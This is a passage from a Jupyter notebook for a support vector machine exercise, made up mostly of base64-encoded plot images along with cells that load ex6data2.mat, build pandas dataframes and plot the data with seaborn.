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\nhHoAAADAcf8fhNgcjfzxma4AAAAASUVORK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0xe58e165c50>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "sns.lmplot('first', 'second', data=df, hue='out', fit_reg=False, size= 10, scatter_kws= { 's' : 80})\n", "visualizeBoundry(X_bias, y, clf)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# SVM - Non-Linear Kernel" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Load the Dataset 2" ] }, { "cell_type": "code", "execution_count": 80, "metadata": { "collapsed": false }, "outputs": [], "source": [ "mat = scipy.io.loadmat(\"ex6data2.mat\")\n", "X = mat['X']\n", "y = mat['y'].T[0]" ] }, { "cell_type": "code", "execution_count": 81, "metadata": { "collapsed": false }, "outputs": [], "source": [ "X_bias = np.insert(X,0,1,axis=1)" ] }, { "cell_type": "code", "execution_count": 82, "metadata": { "collapsed": true }, "outputs": [], "source": [ "X_df = pd.DataFrame(X)\n", "y_df = pd.DataFrame(y)" ] }, { "cell_type": "code", "execution_count": 83, "metadata": { "collapsed": true }, "outputs": [], "source": [ "df = pd.concat([X_df, y_df],axis=1)\n", "df.columns = ['first', 'second', 'out']" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Plot the Data" ] }, { "cell_type": "code", "execution_count": 84, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "<seaborn.axisgrid.FacetGrid at 0xe58e2777f0>" ] }, "execution_count": 84, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAmQAAAI4CAYAAADEXfUwAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzsvVmQHNd57/nPzNq6lt7QWBsgQIBCieLSFJoEd9KiRGsu\nFJZlWpY9umZcaSxeO/zgG8Ox79WDHSF5HiTHiDF2TIRGw5C1BGUNZVG0RrJImbREEiRgAmSTbGIR\ni1jYWJoggN5rr9zmoTqrs7Iys3LPrOrvF8GQ0FmVlVV58pz/+VZGlmUQBEEQBEEQ4cGGfQEEQRAE\nQRDrHRJkBEEQBEEQIUOCjCAIgiAIImRIkBEEQRAEQYQMCTKCIAiCIIiQ6RlBNjU1JQPo+O/EiRO6\nf6f/gv2P7kP4/9E9iMZ/dB/C/4/uQfj/hXAPep6eEWRG1Gq1sC+BAN2HKED3IBrQfQgfugfhQ/fA\nPj0vyAiCIAiCIHodEmQEQRAEQRAhQ4KMIAiCIAgiZEiQEQRBEARBhAwJMoIgCIIgiJAhQUYQBEEQ\nBBEyJMgIgiAIgiBChgQZQRAEQRBEyJAgIwiCIAiCCBkSZARBEARBECFDgowgCIIgCCJ